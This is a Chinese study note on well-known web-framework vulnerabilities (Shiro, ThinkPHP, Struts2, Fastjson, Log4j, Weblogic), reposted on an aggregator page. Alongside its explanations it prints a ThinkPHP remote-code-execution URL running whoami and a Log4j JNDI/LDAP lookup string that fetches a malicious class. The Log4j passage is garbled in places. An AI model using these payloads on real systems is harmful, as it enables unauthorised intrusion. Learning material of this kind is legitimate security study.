src学习记录(二)

news2025/2/22 20:12:23

学习目标:

  • Apache Shiro
  • ThinkPHP
  • struts2
  • Apache Log4j
  • Fastjson
  • Weblogic

学习内容:

1.Apache Shiro

字段内容
指纹信息请求包中,在Cookie信息中给 rememberMe变量赋任意值,收到返回包的Set-Cookie 值存在 rememberMe=deleteMe 字段,说明目标使用了Shiro框架
漏洞原理Apache Shiro框架提供了RememberMe的功能,用户登录成功后会生成经过加密并编码的cookie,在服务端接收cookie后。攻击者只要找到AES加密的密钥,就可以构造恶意对象,对其进行序列化->AES加密->Base64编码,然后将其作为cookie的rememberMe字段发送,对方服务器将rememberMe进行解密并且反序列化,最终造成恶意对象执行,导致反序列化漏洞
关键点Shiro漏洞的本质是处理cookie的流程有问题。漏洞的关键点就在于找到AES的加密秘钥,AES的密钥是硬编码在代码里。

2.ThinkPHP
在这里插入图片描述

字段内容
指纹信息url上输入http://192.168.xx.xx/ThinkPHP/logo.png,出现如下图片。该图片也存在于title中。除此之外,“十年磨一剑”也是Thinkphp的重要特征。
漏洞原理程序未对控制器进行过滤,导致攻击者可以通过引入\符号来调用任意类方法。从而使框架存在代码执行漏洞,攻击者可以利用构造的恶意URL执行任意代码。比如index.php?s=index/\namespace\class/method,在解析url时,会实例化\namespace\class类并执行任意method方法
例子RCE:http://192.168.xx.xx/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami,其中\think\app是类名,后面是恶意方法

3.struts2

序号指纹信息
1一般st2框架开发的网站,url上会有.action或.do后缀的文件名,比如:http://192.168.xx.xx/integration/editGangster.action方法1可能不准确,因为spring框架或jboss系统有时候也存在.do结尾的文件名。
2一在相关接口追加actionErrors参数,通过网站页面的回显错误消息来判断。
3默认情况下,st2框架中存在http://192.168.xx.xx/struts/webconsole.html这个默认文件。
4抓包,看包中Content-Type字段的开头是否形如%{#x=[‘xxx’]方法4仅限于st2-045框架漏洞

漏洞原理:
st2-045

Struts2默认使用
org.apache.struts2.dispatcher.multipart.JakartaMultiPartReque
st类对上传数据进行解析,其在处理Content-Type时如果获得非预期的值
的话,将会抛出一个异常。在处理异常的过程中会对错误信息进行OGNL表 达式解析。如果错误信息中包含恶意语句,语句将被执行。

关键点:st2-045的漏洞,所有问题都出现在Content-Type字段上。

4.Fastjson

字段内容
指纹信息1、抓包,看请求包中传入的参数值是否形如json格式,如{“张三”:100,“李四”:200}。随后将json数据随意修改,看响应包中是否出现fastjson.JSONException字样。2、正常请求是get请求没有请求体。可以通过构造错误的POST请求,看返回包中是否有fastjson这个字符串。
漏洞原理Fastjson 在对 javaBean 进行序列化的时候会调用它的所有get或者is方法,反序列化的时候会调用所有的 set 方法,如果这个 set 方法中含有些危险的调用链,我们则可以利用这个反序列化过程来执行我们自己的命令。
关键点有这样一个json对象:{“@type”:TemplatesImpl,“_bytecodes”:[恶意语句],“_name”:‘xxx’,“_tfactory”:{xxx}};Fastjson在处理json对象时有问题,只要json对象包含@type:TemplatesImpl,那它就会执行_bytecodes字段里的语句。

修复建议:
对@type字段进行过滤。 |

5.Apache Log4j
执行逻辑

黑客在自己的客户端启动一个带有恶意代码的rmi服务,通过服务端的
log4j的漏洞,向服务端的jndi context lookup的时候连接自己的rmi服
务器,服务端连接rmi服务器执行lookup的时候会通过rmi查询到该地址指
向的引用并且本地实例化这个类,所以在类中的构造方法或者静态代码块
中写入逻辑,就会在服务端(jndi rmi过程中的客户端)实例化的时候执
行到这段逻辑,导致jndi注入。

原理分三个模块:
${…}表达式、log4j的递归解析机制、jndi注入

原理

Jndi注入原理就是poc(写好的代码)中
j n d i : l d a p : / / 192.168. x x . x x / e x p 的 j n d i 变量可控。攻击者远程加载一个恶意 c l a s s 文件,当其中的恶意语句被传入到 l o g 4 j 日志文件时, l o o k u p 将恶意语句注入到 {jndi:ldap://192.168.xx.xx/exp}的jndi变量可控。攻击者远程加载 一个恶意class文件,当其中的恶意语句被传入到log4j日志文件时, lookup将恶意语句注入到 jndi:ldap://192.168.xx.xx/expjndi变量可控。攻击者远程加载一个恶意class文件,当其中的恶意语句被传入到log4j日志文件时,lookup将恶意语句注入到{jndi:ldap://…}中。接着程序通过ldap协议
访问192.168.xx.xx这个地址中包含java代码的class文件,从而达成漏 洞利用目的

6.Weblogic

字段内容
漏洞原理主要源于在coherence.jar存在着用于gadget构造的类(反序列化构造并且利用weblogic默认开启的T3协议进行传输和解析,进而导致weblogic服务器将恶意代码反序列化,最后执行攻击语句。T3 是用于在 WebLogic 服务器和其他类型的Java程序之间传输信息的协议。服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
关键点Weblogic在通信过程中传输数据对象,涉及到反序列化操作,如果找到某个类在反序列化过程中能执行的代码,就有可能通过控制这些代码达到远程命令执行的效果。

学习产出:

  • CSDN 笔记博客 1篇

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/519146.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

类和对象【C++】【下篇】

目录 一、初始化列表 二、隐式类型转换 三、静态成员 四、友元 1、友元函数 2、友元类 五、内部类 六、匿名对象 一、初始化列表 下面是日期类的一个构造函数,调用该构造函数后,对象中已经有了一个初始值,但并不能将它称为对对象成员变…

实时操作系统内存管理-TLSF算法

内存管理-TLSF算法 前言TLSF算法:为什么内存又叫内存“块”:O(1)查找空闲块:确定fl:确定sl:提级申请:分割块: 空闲块如何串成链表?减少外部碎片:查找上下块: …

Java补充之MySQL入门必备知识

文章和代码已经归档至【Github仓库:https://github.com/timerring/java-tutorial 】或者公众号【AIShareLab】回复 java 也可获取。 文章目录 零基础学MySQL解决之道文件、数据库MySQL 数据库的安装和配置使用命令行窗口连接MYSQL 数据库操作示意图 数据库三层结构数…

使用Intellij IDEA创建新项目时,maven路径总是默认的,一创建maven就卡死

目录 使用Intellij IDEA创建新项目时,maven路径总是默认的 弄了老半天,终于把这个破玩意给弄好了,真的没有意思,真的很恶心 我经历了两个过程,一个是 使用Intellij IDEA创建新项目时,maven路径总是默认的…

用免费蜜罐工具配置Modbus工控蜜罐

导语:本文将用DecoyMini免费蜜罐工具来配置自定义的ModbusTCP工控仿真模板,并介绍部署后的Modbus蜜罐的使用效果。 DecoyMini是一个免费的蜜罐工具,其特色是仿真能力采用与软件松耦合的仿真模板来进行管理。通过一键式导入云端仿真模板库里的…

【Linux】多线程 --- 线程同步与互斥+生产消费模型

人生总是那么痛苦吗?还是只有小时候是这样? —总是如此 文章目录 一、线程互斥1.多线程共享资源访问的不安全问题2.提出解决方案:加锁(局部和静态锁的两种初始化/销毁方案)2.1 对于锁的初步理解和实现2.2 局部和全局锁…

计算机中丢失msvcr120.dll怎么办,电脑找不到msvcr120.dll怎么办

电脑提示msvcr120.dll丢失是一个常见的问题,这个问题通常会在你尝试打开某些程序或游戏时出现。这个问题的原因是因为你的电脑缺少了一个名为msvcr120.dll的文件,这个文件是微软Visual C Redistrle for Visualv 2013的一部分。如果你遇到了这个问题&…

算法设计 || 第5题:田忌赛马-杭州电子科技大学(贪心算法)

目录 (一)杭电原题 (二)Please speak Chinese: (三)手写草稿理解思路核心算法 第一款代码: 第二款代码: (一)杭电原题 Tian Ji -- The Horse Racing Pro…

【分治法】

目录 知识框架No.1 分治法基本思想No.2 合并排序No.3 快速排序一、基本思想三、效率分析四、快速排序不稳定例子 No.4 二叉树遍历及其相关特性一、基本概念二、中序遍历三、前序遍历四、二叉树的高度计算(高度不是深度) 知识框架 No.1 分治法基本思想 将规模为N的问题分解为k…

Spring MVC:常用参数(注解)的使用和参数绑定的验证

Spring MVC:常用参数(注解)的使用和参数绑定的验证 一、学习资源二、基础源码三、实验结果3.1 Spring MVC常用参数Controller和RequestMappingRequestMappingRequestParamPathVariableCookie ValueRequestHeader 3.2 Spring MVC参数绑定3.2.1…

一路对标顶级产品,奇遇XR为何仍不见起色?

临近6月,再度遇冷的XR行业,又让很多人充满期待。外界普遍认为,基于苹果酝酿多年的MR头显产品,将于6月举行的WWDC 2023全球开发者大会正式亮相,XR行业或将迎来“iPhone时刻”。 在一派期待中,一家国内XR企业…

代码审计之PHP基础铺垫

目录 1、标记 2、注释 3、输出语句 4、关键字 5、常量的定义与使用 6、预定义常量 7、变量的赋值&#xff08;传参赋值与引用赋值&#xff09; 8、可变变量 9、双引号和单引号的区别 10、heredoc结构和nowdoc结构 11、其他符号 1、标记 <?php 和 ?> 是PHP标…

第十一届蓝桥杯青少组省赛Python中/高级组编程题真题,包含答案解析

第十一届蓝桥杯青少组省赛Python中/高级组编程题真题 编程实现 第一题&#xff1a; 输入一个字符串&#xff0c;如果该字符串以er、Iy或者ing后缀结尾的&#xff0c;则删除该字符串后缀&#xff0c;并输出删除后的字符串&#xff0c;否者将原字符串输出。 输入描述 输入一个…

零知识证明:应用和具体用例

零知识证明&#xff08;Zero-Knowledge Proofs&#xff0c;ZKPs&#xff09;是应用密码学中令人兴奋的突破&#xff0c;将在各个行业中解锁新的用例&#xff0c;从 Web3 到供应链再到物联网。通过在不揭示信息的情况下验证其真实性&#xff0c;ZKPs 可以增强数字系统的隐私、安…

【Unity-UGUI控件全面解析】| Slider 滑动条组件详解

🎬【Unity-UGUI控件全面解析】| Slider 滑动条组件详解一、组件介绍二、组件属性面板三、代码操作组件四、组件常用方法示例4.1 充当 进度条控制灯光亮度4.2 模拟 血条 使用💯总结🎬 博客主页:https://xiaoy.blog.csdn.net 🎥 本文由 呆呆敲代码的小Y 原创,首发于 CS…

【Spring全家桶系列】面向切面编程AOP

⭐️前面的话⭐️ 本文已经收录到《Spring框架全家桶系列》专栏&#xff0c;本文将介绍面向切面编程的思想和相关概念&#xff0c;附加一个小案例。 &#x1f4d2;博客主页&#xff1a;未见花闻的博客主页 &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&a…

基于Kubernetes集群构建大中型企业CICD应用平台(2)--code阶段工具gitlab安装

这里我们为gitlab服务器准备一台虚拟机&#xff1a;192.168.19.6-gitlab服务器 在code阶段&#xff0c;我们需要将不同版本的代码存储到一个仓库中&#xff0c;常见的版本控制工具就是SVN或者Git&#xff0c;这里我们采用Git作为版本控制工具&#xff0c;GitLab作为远程仓库。…

django常用命令/vue-cli图形化界面创建方式/vueo-cli命令行创建方式/若依框架/elementui

django常用命令 django-admin.exe startproject mysite python .\manage.py startapp app01 python manage.py makemigrations python manage.py migrate python manage.py runserver python manage.py runserver 0.0.0.0:8000 from django.shortcuts import render,Http…

【Linux学习】多线程——同步 | 条件变量 | 基于阻塞队列的生产者消费者模型

多线程——同步 | 条件变量 | 基于阻塞队列的生成者消费者模型 &#x1f3d3;生产者消费者模型&#x1f3f8;同步概念&#x1f3f8;生产者消费者模型的特点 &#x1f3d3;同步的应用&#x1f3f8;条件变量&#x1f3f8;条件变量接口 &#x1f3d3;基于阻塞队列的生产者消费者模…

文心一言 VS chatgpt (16)-- 算法导论4.1 1~2题

一、当A的所有元素均为负数时&#xff0c;FIND-MAXIMUM-SUBARRAY返回什么? 文心一言&#xff1a; 当A的所有元素均为负数时&#xff0c;FIND-MAXIMUM-SUBARRAY返回-1。 这是因为在二进制中&#xff0c;当所有元素均为负数时&#xff0c;A的每个元素都对应一个负数&#xff…